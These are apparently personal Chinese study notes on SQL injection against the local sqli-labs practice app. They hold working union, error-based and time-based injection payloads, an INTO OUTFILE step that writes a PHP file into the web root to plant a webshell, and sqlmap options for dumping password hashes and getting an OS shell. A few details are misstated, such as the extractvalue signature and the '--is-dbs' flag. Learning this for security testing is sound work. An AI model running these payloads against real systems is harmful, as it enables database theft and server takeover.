SQL注入

发布于:2025-08-10 ⋅ 阅读:(13) ⋅ 点赞:(0)

information_schema 数据库默认就有

COLUMNS 记录了整个库中所有的列名

SCHEMATA 记录了所有数据库的库名

TABLES记录了所有表的表名

select column_name from columns where table_schema='ctf' and table_name='users';

MYSQL函数(常用)

select user(); 查看用户

select database();查看当前数据库;

select version();查看版本;

select @@datadir;查看路径;

知道网站的物理路径,并且权限足够大 可以在服务器上上传webshell into outfile函数

其他函数(辅助注入)

select substr('root',1);截取函数 select mid('root',1);

select if( A , B , C );

判断语句如果A的条件为真那么执行B,如果A的条件为假那么执行C。

select if( 1=1 , sleep(3) , 0 );

执行该语句那么就会sleep三秒

select ascii('a');

`select concat('a','b','c','d','e');` 连接函数

连表查询

`select * from dr_admin as dr_a join dr_admin_login  as dr_a_l on dr.a.uid = dr_a_l.uid;`

缓存绕过:

第三方工具建表

order by 排序  desc 倒序排序   asc 正序排序

select * from goods order by 3 desc;

关于第三列的排序

这个语句可以知道该表有多少列,然后自己再创建一个表用union连接  字段保持一致

SQLLAB

sqllads第一关需要逃出单双引号限制

提前闭合单引号,但是单双引号要成对出现,所以要注释掉一个单引号。

mysql注释方法:

单行注释 -- --+ #(三种)

字符型注入 从goods-----> user 用union order by 列 gid=-1让第一个数组失效 --+/-- 实现注释 用information_Schema 实现库列表的查询 用concat group_concat 出管理员数据

[Less-1 **Error Based- String**](http://127.0.0.1/sqllabs/Less-1/?gid=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+)

[Less-1 **Error Based- String**](http://127.0.0.1/sqllabs/Less-1/?gid=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='security'and table_name='users'--+)

手工注入  

报错注入

1.updatexml 32个字节

updatexml (1,2,3) 报错包在第二个字段 而且前端要显示报错信息

就是说该函数的第二个字段应该是一个路径,如果不是一个路径那么就会报错,并且在页面上显示报错信息。

2.extractvalue

updatexml (1,2) 报错包在第二个字段 而且前端要显示报错信息

3.ST_LatFromGeoHash()

4.ST_LongFromGeoHash() 可能对这两个函数盯的不太死

5.floor横跨所有版本

使用工具sqlmap

level2会检测cookie,level1只会检测get传参\

面试中会用到的参数

-- batch :启用非交互模式,自动使用默认选项(无需用户确认),适合自动化测试。

--os-cmd=OSCMD:执行指定的操作系统命令 (上传shell)

--os-shell:获取一个交互式操作系统 shell

--file-read=FILE.. :读取数据库服务器上的文件

--file-write=FIL.. :将本地文件写入到数据库服务器

--sql-query=SQLQ.. :执行自定义 SQL 查询并返回结果。

--sql-shell :启动交互式 SQL Shell,可手动输入 SQL 语句

--dbs :列出所有可访问的数据库名称。

--tables :列出指定数据库的所有表

--columns :列出指定表的所有列

--dump :导出指定表的数据

--dump-all :导出所有数据库和表的数据

--is-dbs :检查当前数据库用户是否为管理员

--users :列出数据库用户列表。

--passwords :尝试获取用户密码哈希

--technique=TECH.. :指定注入技术(如 B 布尔盲注、E 报错注入、U 联合查询、S 堆叠注入等

--level=LEVEL :设置测试复杂度(1-5,越高则检测更多参数和复杂 payload)。

--risk=RISK :设置风险等级(1-3,越高可能破坏数据,如使用 UPDATEDELETE)。

--dbms= :指定目标数据库类型(如 mysqlmssqloracle),避免无关测试

如果前端不回显 union就用不了了

但是如果能展示报错信息 那就可以不用联合查询用报错注入

LEVEL7

[Less-7 Dump into Outfile](http://127.0.0.1/sqllabs/Less-7/?id=1')) union select "",2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqllabs\\Less-7\\web.php"--+)

mysql怎么上传shell

1.要root 不是的话写不了

2.知道网站的物理路径

3.secure_priv_为空 这一项几乎不可能(在数据库的配置文件添加该字段)

布尔盲注

来判断是否为真 使用sqlmap

时间盲注

页面没有任何回显,不知道是否正确,就可以使用

[Less-9 Blind- Time based- Single Quotes- String](http://127.0.0.1/sqllabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>100, sleep(3),0)--+) 如果判断正确那么就会停3秒

and 会隐式转换 为什么只能用1而不能用admin 是因为admin在进行隐式转换的时候 and会把他先转化为double 但是不能转换所以报错,而用1之后and就会执行后面的,后面报错就行。

floor:向下取整

group by:分组

count(*):统计结果的记录数


网站公告

今日签到

点亮在社区的每一天
去签到